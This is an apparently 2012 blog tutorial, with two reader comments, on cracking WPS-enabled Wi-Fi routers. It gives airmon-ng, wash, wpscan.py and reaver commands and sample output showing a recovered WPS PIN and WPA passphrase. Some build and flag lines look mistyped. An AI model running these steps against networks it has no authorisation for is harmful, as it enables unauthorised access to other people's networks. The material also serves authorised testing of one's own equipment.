identify & crack your WPS enabled AP

25 01 2012

##DISCLAIMER## – as usual, only use on devices you have approval for or own.

I hadn’t looked much at reaver yet – although had been following the news since it was released in Dec. Reaver allows you to brute force the WPS 8 numeric digit pin (easy setup / config feature) on a WiFi AP rather than trying to brute force the PSK. WPS is enabled by default on most newer (last few years) consumer routers to get certification.

Main tools:
– reaver (crack AP) & wash (identify AP vuln to WPS brute forcing)
– the python script wpscan.py (circa 2009) allows you to fingerprint the AP (Make / Model / Serial etc) that has WPS enabled

Go here & download reaver 1.4 (latest at time of writing) – don’t just apt-get install as you don’t get wash

http://code.google.com/p/reaver-wps/downloads/list

http://code.google.com/p/reaver-wps/downloads/detail?name=reaver-1.4.tar.gz&can=2&q=

Do the install dance on your distro (works on BT5r1)

# tar zxvf reaver-1.4.tar.gz
# ./config
# make
# make install

You can also use a fun little python script called wpscan.py (not to be confused with the WordPress tool) to fingerprint the AP

http://www.sourcesec.com/category/tools/

Step 1: Interface into monitor mode

# airmon-ng start wlan0

Step 2: Identify a WPS enabled (vulnerable) AP using wash included with reaver

# wash –i mon0

Step 3: Fingerprint with wpscan.py

# ./wpscan.py –i mon0

Step 4: run reaver against it …… grab a coffee / lunch / sleep – can take several hours to brute force the WPS pin

# reaver -i mon0 -b -AP MAC ADDRESS- -v

This will [should] result in returning the pin & psk of the wifi router – you can simply then connect.

WPS PIN: ‘15736942’
WPA PSK: ‘somesecure&reallyl0ngpskhere’
AP SSID: ‘p0wn3d’

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2 responses

26 02 2012
underwateralien

Could you please give some of the finer details of the “install dance” for reaver 1.4 with wash? I am a bit of a n00b and having alot of difficulty getting through the
“# tar zxvf reaver-1.4.tar.gz
# ./config
# make
# make install”
part of setting it up.

27 02 2012
Ash

No worries – but there are not many finer details to cover.

Check the README http://code.google.com/p/reaver-wps/wiki/README

Once you download the tar.gz you unpack it with “tar zxvf reaver-1.4.tar.gz”

check that it created a directory “ls” and “cd” into that directory.

then just run each command sequentially “./config” then “make” then “make install”

Once you finish those, you should be good to go. There are more usage examples in the README I linked above.

Cheers.

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